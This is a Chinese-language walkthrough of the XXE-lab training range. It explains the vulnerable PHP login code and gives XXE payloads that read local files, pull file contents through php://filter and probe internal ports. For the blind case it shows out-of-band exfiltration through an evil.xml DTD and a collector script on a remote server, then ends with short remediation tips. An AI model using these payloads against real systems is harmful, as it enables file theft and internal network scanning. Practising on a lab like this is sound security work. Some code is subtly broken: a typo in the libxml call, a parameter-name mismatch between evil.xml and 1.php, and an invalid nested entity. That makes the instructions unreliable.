目录
有回显
测试回显位置
构建payload
无回显数据外带
构建payload
漏洞修复
XXE-lab是一个一个包含php,java,python,C#等各种语言版本的XXE漏洞靶场。
下载地址:https://github.com/c0ny1/xxe-lab
将PHPStudy的中间件与版本信息调制为 php-5.4.29+Apache 以下,然后访问以下地址开始练习
http://127.0.0.1/xxe-lab-master/php_xxe/
有回显
打开PHP_XXE目录下的 index.html 文件查看源代码,发现73行会在 Login按钮下会触发JavaScript脚本的 doLogin() 函数。
查看 doLogin() 函数定义代码,发现 JavaScript 脚本会将用户输入的 username 和 password 拼接为xml格式的数据,并且利用 ajax 的方法提交,提交时 xml 的数据被当作 POST 数据包的内容提交。
打开后端的 doLogin.php 文件在该 PHP 文件中,主要是接收POST请求的内容,并将其转化为XML对象,然后提取XML对象中的 username 和 password 字段。然后比对两个字段值分别是否相等。
libxml_disable_entity_loader(Fash)
代码意思是设置允许PHP加载外部实体,这也是本靶场的漏洞产生主要原因。在生产环境下需要将这里的False改为True,即可避免产生XXE漏洞。
loadXML()
该函数可以将一个输入的字符串转化为DOMDocument对象。
simplexml_import_dom()
该函数可以把DOM节点转化为SimpleXMLElement对象。
在登录界面输入账号密码并抓取数据包
测试回显位置
通过测试,能看到用户名位置存在有回显的。而后面密码字段就无回显
构建payload
<?xml version="1.0"?>
<!DOCTYPE test [
<!ENTITY name SYSTEM "file:///c://windows/win.ini">
]>
<user><username>&name;</username><password>1</password></user>
读取本地文件(写一个 1.txt 文件,内容随便,我这里是 3 个 hello)
<?xml version="1.0"?>
<!DOCTYPE test [
<!ENTITY name SYSTEM "file:///d://1.txt">
]>
<user><username>&name;</username><password>1</password></user>
使用PHP伪协议读取文件
<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE XL [
<!ENTITY fl SYSTEM "php://filter/read=convert.base64-encode/resource=d:/1.txt">]>
<user><username>&fl;</username><password>1</password></user>
探测内网存活主机与端口
<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE XL [
<!ENTITY fl SYSTEM "http://127.0.0.1:3306">]>
<user><username>&fl;</username><password>1</password></user>
无回显数据外带
把XXE-labs靶场的输出及报错都关闭,模拟无回显情况,把 phpStudy_64\phpstudy_pro\WWW\xxe-lab-master\php_xxe\doLogin.php 的 doLogin.php 中的最后一行代码注释掉,在账号密码上面加一句代码
error_reporting(0);
构建payload
1、 运行下面的XML语法,发现没有了数据回显
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE ANY [
<!ENTITY % shit SYSTEM "http://127.0.0.1:80/1.txt">
%shit;
]>
2、 在远程服务器上创建 evil.xml 文件并使用 Python 开启 http 服务
1.php 内容:
<?php file_put_contents("1.txt", $_GET['file']); ?>
evil.xml内容:
<!ENTITY % payload "<!ENTITY % send SYSTEM 'http://192.168.110.24:8000/1.php?content=%file;'>"> %payload;
python -m http.server 8000
3、构造外部实体并进行访问
<?xml version="1.0"?>
<!DOCTYPE test [
<!ENTITY % file SYSTEM "php://filter/read=convert.base64-encode/resource=D:/1.txt">
<!ENTITY % dtd SYSTEM "http://192.168.110.24:8000/evil.xml">
%dtd;
%send;
]>
回到HTTP服务器上发现数据已经带到请求日志上,经Base64解码得出内容
漏洞修复
1、使用开发语言禁用外部实体;
2、过滤 SYSTEM/PUBLIC 等关键字;